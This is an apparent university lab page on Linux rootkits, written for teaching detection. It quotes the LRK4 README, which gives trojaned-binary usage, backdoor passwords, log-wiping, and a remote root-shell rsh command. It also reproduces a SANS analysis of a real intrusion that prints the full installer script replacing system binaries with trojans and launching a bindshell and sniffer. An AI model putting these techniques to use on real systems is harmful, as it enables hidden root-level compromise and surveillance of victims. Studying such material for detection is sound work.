An Example Rootkit: LRKIV

Prabhaker Mateti

Abstract: Rootkits are collections of programs that attempt to hide the activity of an attacker after root access was already gained. The lab experiments involve detecting rootkits on an already rooted Linux system.

Table of Contents

  1. Educational Objectives
  2. LRK: Read-Me of an Example Rootkit
  3. Analysis of N.F.O Incident
  4. Source Code of Rootkits
  5. Rootkit Detection
  6. Lab Experiment
  7. Acknowledgements
  8. References

Educational Objectives

  1. Understand the structure of rootkits.
  2. Learn to "sense" the presence of rootkits.

Rootkits

Rootkits are collections of programs that an intruder would install after having gained root access. His overall goal is to hide his future activity on that system. A rootkit replaces with Trojans of existing and well-known programs.

  1. A rootkit would disable auditing when a certain user is logged on.
  2. A rootkit would allow anyone to login if a certain backdoor password is used.
  3. A rootkit could patch the kernel itself, allowing anyone to run privileged code if they use a special filename.

Rootkits have appeared for all major OS, including Windows. Occasionally, overzealous companies (Sony in 2005) have used rootkits embedded in their products in an attempt to protect their intellectual property.

LRK: An Example Rootkit

The following is an announcement of a rootkit release. [Spelling mistakes are not corrected.] Several excerpts from its README are presented below so that a typical rootkit can be "appreciated." The latest version of the kit apparently is LRK6, but its source code is not readily found. Web search for LRK4.1 or LRK5.

Lord Somer is extremely pleased to bring you..
 _     _                    ____             _   _    _ _     ___ ___      ___
| |   (_)_ __  _   ___  __ |  _ \ ___   ___ | |_| | _(_) |_  |_ _|\  \    /  /
| |   | | '_ \| | | \ \/ / | |_) / _ \ / _ \| __| |/ / | __|  | |  \  \  /  /
| |___| | | | | |_| |>  <  |  _ < (_) | (_) | |_|   <| | |_   | |   \  \/  /
|_____|_|_| |_|\__,_/_/\_\ |_| \_\___/ \___/ \__|_|\_\_|\__| |___|   \____/
Released November 26, 1998
"for turkeyday this year I bring you Linux Rootkit 4" ... This packages includes the following: bindshell port/shell type daemon! chfn Trojaned! User->r00t chsh Trojaned! User->r00t crontab Trojaned! Hidden Crontab Entries du Trojaned! Hide files find Trojaned! Hide files fix File fixer! ifconfig Trojaned! Hide sniffing inetd Trojaned! Remote access killall Trojaned! Wont kill hidden processes linsniffer Packet sniffer! login Trojaned! Remote access ls Trojaned! Hide files netstat Trojaned! Hide connections passwd Trojaned! User->r00t pidof Trojaned! Hide processes ps Trojaned! Hide processes rshd Trojaned! Remote access sniffchk Program to check if sniffer is up and running syslogd Trojaned! Hide logs tcpd Trojaned! Hide connections, avoid denies top Trojaned! Hide processes wted wtmp/utmp editor! z2 Zap2 utmp/wtmp/lastlog eraser! USAGE OK I will go thru how to use each program one by one. NOTE when I say password I mean the rootkit password not your users password (doh!). By default the rootkit password is satori. chfn - Local user->root. Run chfn then when it asks you for a new name enter your password. chsh - Local user->root. Run chsh when it asks you for a new shell enter your password. crontab - Loads a file defined as TAB_NAME in rootkit.h, by default /dev/hda02 This file should have the following syntax: username regularcrontabentry ie: say to run your botchk for your hidden eggdrop as user hack you'd use: hacker 0,10,20,30,40,50 * * * * /home/hack/eggdrop1.1.5/botchk >/dev/null 2>&1 NOTE: the user must already have a crontab, do crontab -lu username to see if they have one du - See documentation for ls find - See documentation for ls fix - Replaces and fixes timestamp/checksum infomation on files. ifconfig - Modified to remove PROMISC flag when sniffing. inetd - Don't even *think* about asking ;-) It ain't that hard.. killall - All process of type 2 and 3 in the ROOTKIT_PROCESS_FILE cant be killed using killall. say our process file had this in it: 2 linsniffer 3 hack if you typed killall linsniffer, it wouldn't kill any process with the fullname of linsniffer, but if you typed killall somehackerprogs it wouldn't kill any process with hack in it. See ps for more information as they run on the same list, along with the pidof trojan. linsniffer - A great packet sniffer, very simple to use just run: ./linsniffer > tcp.log & Come back in a few hours and read your logs of ftps/imaps/telnets :) Some other sniffers if you want more configurability are: Sniffit: http://reptile.rug.ac.be/~coder/sniffit/sniffit.html login - Allows login to any account with the rootkit password. If root login is refused on your terminal login as "rewt". Disables history logging when backdoor is used. ls - Trojaned to hide specified files and dirs. The data file is ROOTKIT_FILES_FILE, defaults to /dev/ptyr. All files can be listed with 'ls -/' if SHOWFLAG is enabled. (see rootkit.h) The format of /dev/ptyr is: ptyr hack.dir w4r3z ie. just the filenames. This would hide any files/dirs with the names ptyr, hack.dir and w4r3z. netstat - Modified to remove tcp/udp/sockets from or to specified addresses, uids and ports. The file is ROOTKIT_ADDRESS_FILE. default data file: /dev/ptyq type 0: hide uid type 1: hide local address type 2: hide remote address type 3: hide local port type 4: hide remote port type 5: hide UNIX socket path example: 0 500 <- Hides all connections by uid 500 1 128.31 <- Hides all local connections from 128.31.X.X 2 128.31.39.20 <- Hides all remote connections to 128.31.39.20 3 8000 <- Hides all local connections from port 8000 4 6667 <- Hides all remote connections to port 6667 5 .term/socket <- Hides all UNIX sockets including the path .term/socket passwd - Local user->root. Enter your rootkit password instead of your old password. pidof - Uses ROOTKIT_PROCESS_FILE, just like ps and killall do. pidof (some command name) normally returns the pid or pids of that command. Any process of type 2 or 3 in our file will be hidden just like in ps, see ps documentation for more information. NOTE: programs that run from scripts like a bash script use the name of the script to hide it not the item it runs! IE: eggdrop config files instead of eggdrop ./config.file ps - Modified to remove specified processes. The file used is ROOTKIT_PROCESS_FILE, default to /dev/ptyp. An example data file is as follows: 0 0 Strips all processes running under root 1 p0 Strips tty p0 2 sniffer Strips all programs with the name sniffer 3 hack Strips all programs with 'hack' in them ie. proghack1, hack.scan, snhack etc. Don't put in the comments, obviously. Note: if this doesn't seem to work make sure there are no spaces after the names, and don't use the full path name. NOTE: programs that run from scripts like a bash script use the name of the script to hide it not the item it runs! IE: eggdrop config files instead of eggdrop ./config.file rshd - Execute remote commands as root. Usage: rsh -l rootkitpassword host command ie. rsh -l satori cert.org /bin/sh -i would start a root shell. sniffchk - simple bash scrip to check if your linsniffer is running, not really necessary unless you setup your system to mail you the logs and you dont want to ever log in manually to read them, but how long do u really wanna sniff the same servers? sshd - this is cool, alphabetical order. Ok, now just do ssh -l rewt and it wont be logged, do ssh -l and it will be logged. Use the rootkit password for a password syslogd - Modified to remove specified strings from logging. The data file is ROOTKIT_LOG_FILE, this defaults to /dev/ptys. Example data file: evil.com 123.100.101.202 rshd This would remove all logs containing the strings evil.com, 123.100.101.202 and rshd. tcpd - Modified to allow access from your host without any logging. Any type 1 record in the ROOTKIT_ADDRESS_FILE is used for tcpd. See netstat for more infoz on this file. Example data file: 1 123.4.5.6 would set up the tcp wrappers to allow and hide connects from 123.4.5.6. top - Identical to ps. wted - This does lots of stuff. U can view ALL the entries in a wtmp or utmp type file, erase entries by username or hostname, view zapped users (admins use a util similar to this to find erased entries), erase zapped users etc. z2 - Zapper2! Run this to erase the last utmp/wtmp/lastlog entries for a username. This can be detected since it just nulls the entry out.

Analysis of N.F.O Incident

(The following is a slightly edited version of an article that analyzes a real incident.)

This rootkit was found on a machine running RedHat 5.2 and was probably rooted using a rootexploit exploiting the POP2 daemon (version 4.46).

Dir /usr/include/rpc/.. 

The kit was found in /usr/include/rpc/..  (dot-dot-space) The following are the contents of this directory.

slimsheet:~/nfo# ls -al
drwxr-xr-x 9 root root   4096 Dec 31 23:31 kit2/
-rw-r--r-- 1 root root 459397 Oct 27 14:35 kit_OUT_99.tgz
-rwxr-xr-x 1 ftp  50    13766 Nov 21 21:36 t666*
-rwxr-xr-x 1 root root 106096 Nov 20 05:26 wget*

slimsheet:~/nfo# ls -al kit2/
-rwxr-xr-x 1 root root  13762 Dec 10 20:55 admbind*
drwxr-xr-x 2 root root   4096 Sep 29 18:32 bd/
drwxr-xr-x 2 root root   4096 Jan 2  22:23 bnc/
-rwxr-xr-x 1 root root   1059 Oct 3  01:49 install*
drwxr-xr-x 2 root root   4096 Sep 29 18:32 pty/
-rw-r--r-- 1 root root      1 Dec 31 23:32 readme
drwxr-xr-x 2 root root   4096 Dec 5  21:44 resetlog/
drwxr-xr-x 2 root root   4096 Dec 31 23:30 scans/
drwxr-xr-x 2 root root   4096 Sep 29 18:32 sniff/
drwxr-xr-x 2 root root   4096 Sep 30 16:21 trojans/

The file kit_OUT_99.tgz was the original zipped kit that put itself into ./kit2/ when untarred. wget is used to receive files from other servers at Internet. t666 is a bind/named remote exploit for mostly every OS out there -- it exploits the bind 8.2.(X) version.

Dir ./kit2/

If we enter the directory kit2 we'll find: admbind is probably a remote exploit for the bind version. The readme file is where the sniffer ./sniff/lins will log all connections; this file was 0 kb. The install file is a shell script:

#!/bin/sh
#backup
echo "Instalacao do Kit NFO GROUP v1.5"
if [ "$1" != "-install" ]; then
  echo "Use: ./install -install" ; echo ""
  exit
fi
echo -n "[*] Iniciando Backup..."
/bin/cp /bin/ls /usr/doc/.sl
/bin/cp /bin/ps /usr/doc/.sp
/bin/cp /bin/netstat /usr/doc/.statnet
/bin/cp /usr/sbin/syslogd /usr/doc/.logdsys
/bin/cp /usr/sbin/tcpd /usr/doc/.dpct
/bin/cp /sbin/ifconfig /usr/doc/.gifnocfi
/bin/cp /usr/bin/find /usr/doc/.dnif
/bin/cp /bin/login /usr/doc/.nigol
echo "ok"

# instalacao
echo -n "[*] Iniciando instalacao..."
/bin/cp -f trojans/ls.trj /bin/ls
/bin/cp -f trojans/ps.trj /bin/ps
/bin/cp -f trojans/netstat.trj /bin/netstat
/bin/cp -f trojans/syslogd.trj /usr/sbin/syslogd
/bin/cp -f trojans/tcpd.trj /usr/sbin/tcpd
/bin/cp -f trojans/ifconfig.trj /sbin/ifconfig
/bin/cp -f trojans/find.trj /usr/bin/find
/bin/cp -f trojans/login.trj /bin/login
/bin/cp -f pty/pty* /dev/
echo "ok"

echo -n "[*] Instalando backdoor..."
./bd/biba 14789632159 lal
echo "ok"

echo -n "[*] Sniffando..."
./sniff/lins
echo "ok"

echo "Instalacao completa :-)"
exit

Dir ./bd/

The directory ./bd/ includes one file called biba. It's the binary from what probably is a bindshell.c copy. When it is executed by the install file it will put itself on port 14789632159. When you execute

# ./biba 31337 syslogd

it will bind a rootshell to port 31337 and it will look like it's syslogd running when root execute a ps aux. When you connect to it using telnet, you'll not be given any prompt or anything like that. It will only wait for a password, and if you enter the correct password, you'll receive a /bin/bash prompt with uid=0 (root). The password for this binary was discovered using a simple strings biba as #N#F#O#G

Dir ./bnc/

If we change directory to ./bnc/ we'll find a normal precompiled bouncer for IRC use and a file called bnc.conf which is the config file used by the binary bnc. The file bnc.cnf had the following.

pt:54123 # port the bouncer will listen for connections
ps:ziggylinda # password you need to enter to use the bouncer.
mu:3 # Max Users connections at any time.
dp:6667 # Default IRC port to connect to.

Dir ./pty/

The directory /pty has four files: ptyp, ptyq, ptyr, ptys. All these belong to the rootkit and various Trojans, which are later moved to /dev.

The file ptyp had the following: 2 lins, 3 biba, 3 sadan, 3 lal, 3 cleans, 3 z2, 3 readme, 3 in.telnetd, 3 promisc, 3 cat, 3 grep, 3 bash, 3 sh, 3 bnc, 3 rpcscan, 3 z0ne This is the process hiding file and everything that has a 3 in front of them will hide everything containing that string in a /bin/ps section. For example, when it says 3 biba in the file every line of output of ps containing biba will be hidden. When it says, for example, 2 lins it will hide all applications matching the string lins.

The file ptyq is the hiding file for netstat. It will remove tcp/udp/sockets from or to specified addresses, uids and ports. Its contents were: 0 0; 1 200.241; 1 200.244; 1 200.243; 1 200.242; 1 expert.com.br; 1 interconect.com.br; 1 amazonline.com.br; 1 libnet.com.br; 2 200.241; 2 200.242; 2 200.240; 2 200.243; 2 200.242; 2 libnet.com.br; 2 amazonline.com.br; 2 interconect.com.br; 2 amazonline.com.br; 2 14789632159; 2 988889; 3 14789632159; 3 988889; 5 /usr/include/rpc/".. "/kit/; In the last line above, the fourth path name component is a dot-dot-space. From the LRK Readme, we learn the meanings of the digits at the beginning of these lines:

type 0: hide uid
type 1: hide local address.
type 2: hide remote address
type 3: hide local port
type 4: hide remote port
type 5: hide UNIX socket path

We see that the attackers want to hide all connections from 200.241-244 and the domains libnet.com.br, expert.com.br, amazonline.com.br, interconect.com.br. Probably these are ISPs and it will be much easier to look for suspicious connections when we know from what domains they may come.

The file ptyr has names ptyp ptyq ptyr ptys .. that will be hidden from ls and du. As you may notice thoose pty* files are hidden and also the directory where the attacker(s) stored all the files.

The last file ptys has addresses 200.244 200.245 200.241 200.242 expert.com.br interconect.com.br amazonline.com.br libnet.com.br that will be hidden from syslogd.

Dir resetlog/

The directory resetlog had six large file made to clean logs; head -n 5 sadan revealed the following:

#!/bin/bash
# [-] Sadan del log v 5.0 - BETA
# [-] written by the_sphinx to NFO group '99
# [-] ninefortyone@hotmail.com
#

It seems that we can reach at ninefortyone@hotmail.com concerning his "cleaning-logs-skills".

There's another file sadan-4_0-pt.sh in the same directory and we found this in the file:

echo; echo ; echo "[S] SADAN del log 4.0 - PORTUGUES"
echo "[S] sysdenial - tdoors@mailbr.com.br"
echo "[S] NFO Group OwnZ - Brazil - Out/99"

Yet another guy making scripts for log cleaning.

Dir scans/

The next directory we enter is a directory called scans and it's from this dir all the network scans have been made. When we found this kit there were only two files in this directory, rpcscan and z0ne (a tool to gather IPs from a top domain, e.g., to gather all IP addresses of *.edu).

Dir resetlog/

In the directory resetlog we found a file named .logs which was a simple find / -name *log* > .logs and in this file we found the following entries:

/usr/include/rpc/.. /kit2/scans/mc.log.qpop
/usr/include/rpc/.. /kit2/scans/no.log.qpop
/usr/include/rpc/.. /kit2/scans/no.log
/usr/include/rpc/.. /kit2/scans/200.log

Here we see that the intruder has been scanning *.no and the class A network 200.x.x.x for vulnerabilities. We also notice that someone scanned *.no and (maybe) *.mc for vulnerable versions of QPOP.

Dir sniff/

The sniff/ had two files: (i) lins which was an Ethernet packet sniffer whose default logging file was ./readme. (ii) promisc which is a well-known software tool to detect sniffers at all Network interfaces, eth0, eth1, etc.

Concluding Remarks

The detection of this intrusion was fairly easy. We found an application named bnc running as uid=0 (root) and simply did find / -name '*bnc*' and found the secret directory mentioned above. A compromise like this would be detected on a host running file-scanning software such as http://www.tripwire.org/.

Lab Experiment

Parent article: ../KernelExploits/RootKits/Rootkit Lab Grading Sheet

Acknowledgements

Section 1 is extracted from LRK release. Section 2 is a slightly edited version of an article that analyzes a real incident [March 8, 2000 http://www.sans.org/security-resources/idfaq/nfo.php by Fredrik Ostergren].

References

  1. John G. Levine, A Methodology for Detecting and Classifying Rootkit Exploits. PhD Thesis, 176pp, Georgia Institute of Technology, February 2004. Reference.
  2. Google Patent, https://patents.google.com/patent/US8056134 Malware detection and identification via malware spoofing, Priority date 2006-09-10.
  3. https://packetstormsecurity.com/files/22600/lrk-4.1.tar.gz.html C source code download. "Linux Rootkit v4.1 is based on Lord Somers LRK4 but several things are fixed. Includes a better find patch, fixed install of pidof / killall, fixed rshd patch, compilation fixes, and more. Released 11-may-2000, tested on Linux kernel 2.2.6, Slackware 4.0." A worthy project: Update so it works in 2018!

Copyright © 2018 • pmateti@wright.edu